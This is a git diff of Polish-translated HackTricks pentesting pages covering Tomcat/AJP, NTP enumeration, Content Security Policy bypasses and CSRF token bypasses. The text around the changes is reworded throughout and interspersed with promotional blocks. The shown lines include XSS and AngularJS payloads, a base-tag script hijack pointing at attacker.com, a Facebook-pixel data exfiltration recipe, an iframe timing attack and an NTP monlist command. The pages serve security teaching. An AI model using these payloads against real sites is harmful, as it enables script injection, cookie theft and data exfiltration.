To ustawienie oferuje potencjał do obejścia systemów wykrywania i zapobiegania włamaniom (IDS/IPS) z powodu **binarnej natury protokołu AJP**, chociaż ta zdolność nie została zweryfikowana. Kierując regularny exploit Metasploit Tomcat do `127.0.0.1:80`, możesz skutecznie przejąć kontrolę nad docelowym systemem.
Ta konfiguracja oferuje potencjał do obejścia systemów wykrywania i zapobiegania włamaniom (IDS/IPS) z powodu **binarnej natury protokołu AJP**, chociaż ta zdolność nie została zweryfikowana. Kierując regularny exploit Metasploit Tomcat do `127.0.0.1:80`, możesz skutecznie przejąć kontrolę nad docelowym systemem.
```bash
msf exploit(tomcat_mgr_deploy) > show options
```
@ -174,12 +174,12 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Hacking Insights**\
Zaangażuj się w treści, które zgłębiają dreszczyk emocji i wyzwania związane z hackingiem
Zaangażuj się w treści, które zagłębiają się w dreszczyk emocji i wyzwania związane z hackingiem
**Real-Time Hack News**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
@ -199,7 +199,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}

View file

@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -33,7 +33,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Basic Information
**Protokół Czasu Sieciowego (NTP)** zapewnia, że komputery i urządzenia sieciowe w sieciach o zmiennej latencji synchronizują swoje zegary dokładnie. Jest to kluczowe dla utrzymania precyzyjnego pomiaru czasu w operacjach IT, bezpieczeństwie i logowaniu. Dokładność NTP jest istotna, ale również stwarza ryzyko bezpieczeństwa, jeśli nie jest odpowiednio zarządzana.
**Protokół Czasu Sieciowego (NTP)** zapewnia, że komputery i urządzenia sieciowe w sieciach o zmiennej latencji synchronizują swoje zegary dokładnie. Jest to kluczowe dla utrzymania precyzyjnego pomiaru czasu w operacjach IT, bezpieczeństwie i logowaniu. Dokładność NTP jest istotna, ale niesie również ryzyko bezpieczeństwa, jeśli nie jest odpowiednio zarządzana.
### Podsumowanie i wskazówki dotyczące bezpieczeństwa:
@ -71,9 +71,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**Jak działa atak DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
**Protokół NTP**, używający UDP, pozwala na działanie bez potrzeby procedur handshake, w przeciwieństwie do TCP. Ta cecha jest wykorzystywana w **atakach amplifikacyjnych DDoS NTP**. Tutaj napastnicy tworzą pakiety z fałszywym adresem IP źródłowym, sprawiając, że wydaje się, iż żądania ataku pochodzą od ofiary. Te pakiety, początkowo małe, skłaniają serwer NTP do odpowiedzi z dużo większymi wolumenami danych, amplifikując atak.
**Protokół NTP**, używający UDP, pozwala na działanie bez potrzeby procedur handshake, w przeciwieństwie do TCP. Ta cecha jest wykorzystywana w **atakach amplifikacyjnych DDoS NTP**. Tutaj napastnicy tworzą pakiety z fałszywym adresem IP źródłowym, sprawiając, że wydaje się, iż żądania ataku pochodzą od ofiary. Te pakiety, początkowo małe, powodują, że serwer NTP odpowiada znacznie większymi wolumenami danych, amplifikując atak.
_**MONLIST**_ komenda, mimo rzadkiego użycia, może zgłosić ostatnich 600 klientów połączonych z usługą NTP. Chociaż sama komenda jest prosta, jej niewłaściwe użycie w takich atakach podkreśla krytyczne luki w zabezpieczeniach.
Polecenie _**MONLIST**_, mimo rzadkiego użycia, może zgłosić ostatnich 600 klientów połączonych z usługą NTP. Chociaż samo polecenie jest proste, jego niewłaściwe użycie w takich atakach podkreśla krytyczne luki w zabezpieczeniach.
```bash
ntpdc -n -c monlist <IP>
```
@ -100,7 +100,7 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
@ -108,7 +108,7 @@ Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), ab
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -34,7 +34,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Po zastosowaniu tej polityki, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
* Implemented via response header:
```
@ -53,7 +53,7 @@ CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków:
### Definiowanie zasobów
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej zawartości, kontrolując aspekty takie jak wykonywanie JavaScriptu w linii i użycie `eval()`. Przykładowa polityka to:
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej treści, kontrolując aspekty takie jak wykonywanie JavaScriptu w linii i użycie `eval()`. Przykładowa polityka to:
```bash
default-src 'none';
img-src 'self';
@ -81,7 +81,7 @@ object-src 'none';
* **base-uri**: Określa dozwolone adresy URL do ładowania za pomocą elementów `<base>`.
* **form-action**: Wymienia ważne punkty końcowe dla przesyłania formularzy.
* **plugin-types**: Ogranicza typy mime, które strona może wywołać.
* **upgrade-insecure-requests**: Instrukcje dla przeglądarek, aby przepisać adresy URL HTTP na HTTPS.
* **upgrade-insecure-requests**: Instrukcja dla przeglądarek, aby przepisały adresy URL HTTP na HTTPS.
* **sandbox**: Stosuje ograniczenia podobne do atrybutu sandbox w `<iframe>`.
* **report-to**: Określa grupę, do której zostanie wysłany raport, jeśli polityka zostanie naruszona.
* **worker-src**: Określa ważne źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
@ -90,12 +90,12 @@ object-src 'none';
### Źródła
* `*`: Zezwala na wszystkie adresy URL z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
* `*`: Zezwala na wszystkie adresy URL, z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
* `'self'`: Zezwala na ładowanie z tej samej domeny.
* `'data'`: Zezwala na ładowanie zasobów za pomocą schematu danych (np. obrazy zakodowane w Base64).
* `'none'`: Blokuje ładowanie z jakiegokolwiek źródła.
* `'unsafe-eval'`: Zezwala na użycie `eval()` i podobnych metod, niezalecane z powodów bezpieczeństwa.
* `'unsafe-hashes'`: Umożliwia określone inline event handlers.
* `'unsafe-hashes'`: Umożliwia określone inline obsługiwacze zdarzeń.
* `'unsafe-inline'`: Zezwala na użycie zasobów inline, takich jak inline `<script>` lub `<style>`, niezalecane z powodów bezpieczeństwa.
* `'nonce'`: Lista dozwolonych dla określonych skryptów inline z użyciem kryptograficznego nonca (liczba używana raz).
* Jeśli masz ograniczoną możliwość wykonania JS, możliwe jest uzyskanie używanego nonca wewnątrz strony za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:
@ -131,7 +131,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Działający ładunek: `"/><script>alert(1);</script>`
Working payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' za pomocą Iframes
@ -142,7 +142,7 @@ Działający ładunek: `"/><script>alert(1);</script>`
### 'unsafe-eval'
{% hint style="danger" %}
To nie działa, aby uzyskać więcej informacji [**sprawdź to**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
To nie działa, więcej informacji [**sprawdź to**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
{% endhint %}
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
@ -196,7 +196,7 @@ Stąd, jeśli znajdziesz XSS i przesyłanie plików, i uda ci się znaleźć **b
### Form-action
Jeśli nie ma możliwości wstrzyknięcia JS, możesz spróbować wyeksfiltrować na przykład dane uwierzytelniające **wstrzykując akcję formularza** (i być może oczekując, że menedżery haseł automatycznie wypełnią hasła). Możesz znaleźć [**przykład w tym raporcie**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Zauważ również, że `default-src` nie obejmuje akcji formularzy.
Jeśli nie jest możliwe wstrzyknięcie JS, możesz spróbować wyeksfiltrować na przykład dane uwierzytelniające **wstrzykując akcję formularza** (i może oczekując, że menedżery haseł automatycznie wypełnią hasła). Możesz znaleźć [**przykład w tym raporcie**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Zauważ również, że `default-src` nie obejmuje akcji formularzy.
### Third Party Endpoints + ('unsafe-eval')
@ -291,15 +291,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### Wykorzystywanie www.google.com do otwartego przekierowania
Poniższy URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Poniższy adres URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusowanie \*.google.com/script.google.com
Abuse \*.google.com/script.google.com
Możliwe jest nadużycie Google Apps Script, aby otrzymać informacje na stronie wewnątrz script.google.com. Jak to [zrobiono w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Możliwe jest wykorzystanie Google Apps Script do uzyskania informacji na stronie wewnątrz script.google.com. Jak to [zrobiono w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Punkty końcowe stron trzecich + JSONP
### Zewnętrzne punkty końcowe + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -338,7 +338,7 @@ Na przykład, jeśli znajdziesz następujące CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
lub
or
```
Content-Security-Policy: connect-src www.facebook.com;
```
@ -347,11 +347,11 @@ Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z
1. Utwórz konto dewelopera Facebook tutaj.
2. Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
3. Przejdź do "Ustawienia -> Podstawowe" i zdobądź swój "App ID".
4. Na docelowej stronie, z której chcesz wyeksportować dane, możesz wyeksportować dane, bezpośrednio używając gadżetu SDK Facebooka "fbq" przez "customEvent" i ładunek danych.
4. Na docelowej stronie, z której chcesz wyeksportować dane, możesz wyeksportować dane, bezpośrednio używając gadżetu SDK Facebooka "fbq" poprzez "customEvent" i ładunek danych.
5. Przejdź do swojego "Menedżera zdarzeń" aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wybierz zakładkę "Test Events", aby zobaczyć zdarzenia wysyłane przez "twoją" stronę internetową.
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając niestandardowe zdarzenie w ten sposób:
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając zdarzenie niestandardowe, jak to:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -391,13 +391,13 @@ Przykład online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbi
Jeśli dyrektywa **base-uri** jest brakująca, możesz to wykorzystać do przeprowadzenia [**wstrzyknięcia wiszącego markup**](../dangling-markup-html-scriptless-injection/).
Ponadto, jeśli **strona ładuje skrypt za pomocą ścieżki względnej** (jak `<script src="/js/app.js">`) używając **Nonce**, możesz wykorzystać **tag** **base**, aby **załadować** skrypt z **twojego własnego serwera, osiągając XSS.**\
Jeśli podatna strona jest ładowana z **httpS**, użyj adresu httpS w tagu base.
Jeśli podatna strona jest ładowana z **httpS**, użyj adresu httpS w base.
```html
<base href="https://www.attacker.com/">
```
### AngularJS events
Specyficzna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia, AngularJS dostarcza unikalny obiekt `$event`, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Obiekt `$event` może być wykorzystany do obejścia CSP. Co ważne, w Chrome, obiekt `$event/event` posiada atrybut `path`, zawierający tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem `window` zawsze umiejscowionym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
Specyficzna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia, AngularJS dostarcza unikalny obiekt `$event`, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Obiekt `$event` może być wykorzystany do obejścia CSP. Co ważne, w Chrome, obiekt `$event/event` posiada atrybut `path`, zawierający tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, przy czym obiekt `window` zawsze znajduje się na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
Kierując tę tablicę do filtra `orderBy`, możliwe jest iterowanie po niej, wykorzystując element końcowy (obiekt `window`) do wywołania globalnej funkcji, takiej jak `alert()`. Poniższy fragment kodu ilustruje ten proces:
```xml
@ -406,13 +406,13 @@ Kierując tę tablicę do filtra `orderBy`, możliwe jest iterowanie po niej, wy
```
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wykorzystując `$event.path|orderBy` do manipulacji tablicą `path`, oraz korzystając z obiektu `window` do wykonania funkcji `alert()`, ujawniając tym samym `document.cookie`.
**Znajdź inne obejścia Angulara w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Znajdź inne obejścia Angular w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS i dozwolona domena
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Polityka CSP, która zezwala na ładowanie skryptów z określonych domen w aplikacji Angular JS, może być obejściem poprzez wywołanie funkcji zwrotnych i niektórych podatnych klas. Dalsze informacje na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Polityka CSP, która zezwala na ładowanie skryptów z określonych domen w aplikacji Angular JS, może być obejściem poprzez wywołanie funkcji zwrotnych i niektóre podatne klasy. Dalsze informacje na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Działające ładunki:
```html
@ -472,9 +472,9 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
Możesz również nadużyć tej konfiguracji, aby **załadować kod javascript wstawiony w obraz**. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz **stworzyć** **specjalny obraz**, **przesłać** go na Twittera i nadużyć "**unsafe-inline**", aby **wykonać** kod JS (jak w przypadku zwykłego XSS), który **załaduje** **obraz**, **wyodrębni** **JS** z niego i **wykona** **go**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Z pracownikami serwisowymi
### Z pracownikami serwisu
Funkcja **`importScripts`** pracowników serwisowych nie jest ograniczona przez CSP:
Funkcja **`importScripts`** pracowników serwisu nie jest ograniczona przez CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
@ -486,7 +486,7 @@ Funkcja **`importScripts`** pracowników serwisowych nie jest ograniczona przez
#### Chrome
Jeśli **parametr** wysłany przez Ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, to możesz **zmienić** **politykę** w taki sposób, aby **była bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** z dowolnym z tych obejść:
Jeśli **parametr** wysłany przez Ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, to możesz **zmienić** **politykę** w taki sposób, aby uczynić **ją bezużyteczną**. Możesz **zezwolić na skrypt 'unsafe-inline'** z dowolnym z tych obejść:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -496,15 +496,15 @@ Możesz znaleźć przykład tutaj: [http://portswigger-labs.net/edge\_csp\_injec
#### Edge
W Edge jest to znacznie prostsze. Jeśli możesz dodać w CSP tylko to: **`;_`** **Edge** **usunie** całą **politykę**.\
W Edge jest to znacznie prostsze. Jeśli możesz dodać w CSP tylko to: **`;_`** **Edge** **odrzuci** całą **politykę**.\
Przykład: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; via XSS (iframe) - Atak czasowy
### img-src \*; przez XSS (iframe) - Atak czasowy
Zauważ brak dyrektywy `'unsafe-inline'`\
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **twoją kontrolą** za pomocą **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (**CSRF**). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz **kontrolować czas, jaki strona potrzebuje na załadowanie**, możesz wydobyć potrzebne informacje.
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **twoją kontrolą** przez **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (**CSRF**). Nie możesz uzyskać dostępu do treści strony, ale jeśli w jakiś sposób możesz **kontrolować czas, jaki strona potrzebuje na załadowanie**, możesz wydobyć potrzebne informacje.
Tym razem **flaga** zostanie wydobyta, gdy tylko **znak zostanie poprawnie odgadnięty** za pomocą SQLi, **odpowiedź** zajmuje **więcej czasu** z powodu funkcji sleep. Następnie będziesz mógł wydobyć flagę:
Tym razem **flaga** zostanie wydobyta, gdy **znak zostanie poprawnie odgadnięty** przez SQLi, **odpowiedź** zajmuje **więcej czasu** z powodu funkcji sleep. Następnie będziesz mógł wydobyć flagę:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -583,7 +583,7 @@ Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**:
{% endcode %}
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **wstrzykiwanie HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\
CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście**, pozwalając na ich **nonce** i **włączając konkretny skrypt inline za pomocą sha**:
CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście**, które pozwala na ich **nonce** oraz **włączyć konkretny skrypt inline za pomocą sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -604,7 +604,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
* Tworzy się `iframe`, który wskazuje na URL (nazwijmy go `https://example.redirect.com`), który jest dozwolony przez CSP.
* Ten URL następnie przekierowuje do tajnego URL (np. `https://usersecret.example2.com`), który jest **niedozwolony** przez CSP.
* Słuchając zdarzenia `securitypolicyviolation`, można przechwycić właściwość `blockedURI`. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, do której przekierowano początkowy URL.
* Słuchając zdarzenia `securitypolicyviolation`, można przechwycić właściwość `blockedURI`. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, do której początkowy URL przekierował.
Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.
@ -612,13 +612,13 @@ Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnego subdom
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zawęzić możliwe znaki w tajnej subdomenie, ostatecznie odkrywając pełny URL.
Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zawęzić możliwe znaki w tajnym subdomenie, ostatecznie odkrywając pełny URL.
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, pokazując, jak pozornie bezpieczne polityki mogą nieumyślnie ujawniać wrażliwe informacje.
Sztuczka z [**tutaj**](https://ctftime.org/writeup/29310).
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
@ -626,10 +626,10 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznie zmieniającym się światem hackingu dzięki aktualnym wiadomościom i wglądom
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
@ -777,7 +777,7 @@ Ucz się i ćwicz hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
* **Dziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
@ -71,7 +71,7 @@ Może się zdarzyć, że formularz, który chcesz wykorzystać, jest przygotowan
### Brak tokena
Aplikacje mogą wdrożyć mechanizm do **walidacji tokenów**, gdy są obecne. Jednak luka powstaje, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać, **usuwając parametr**, który przenosi token, a nie tylko jego wartość. Pozwala to na ominięcie procesu walidacji i skuteczne przeprowadzenie ataku Cross-Site Request Forgery (CSRF).
Aplikacje mogą wdrożyć mechanizm do **walidacji tokenów**, gdy są one obecne. Jednak luka powstaje, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać, **usuwając parametr**, który przenosi token, a nie tylko jego wartość. Umożliwia to obejście procesu walidacji i skuteczne przeprowadzenie ataku Cross-Site Request Forgery (CSRF).
### Token CSRF nie jest powiązany z sesją użytkownika
@ -87,7 +87,7 @@ Ta luka pozwala atakującym na składanie nieautoryzowanych żądań w imieniu o
### Obejście metody
Jeśli żądanie używa "**dziwnej**" **metody**, sprawdź, czy funkcjonalność **przełamywania metody** działa. Na przykład, jeśli używa **metody PUT**, możesz spróbować **użyć metody POST** i **wysłać**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Jeśli żądanie używa "**dziwnej**" **metody**, sprawdź, czy funkcjonalność **przełamania metody** działa. Na przykład, jeśli używa **metody PUT**, możesz spróbować **użyć metody POST** i **wysłać**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Może to również działać, wysyłając **parametr \_method wewnątrz żądania POST** lub używając **nagłówków**:
@ -97,7 +97,7 @@ Może to również działać, wysyłając **parametr \_method wewnątrz żądani
### Obejście tokena nagłówka niestandardowego
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metodę ochrony CSRF**, to:
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** jako **metodą ochrony CSRF**, to:
* Przetestuj żądanie bez **Niestandardowego Tokena i również nagłówka.**
* Przetestuj żądanie z dokładnie **tą samą długością, ale innym tokenem**.
@ -106,9 +106,9 @@ Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania
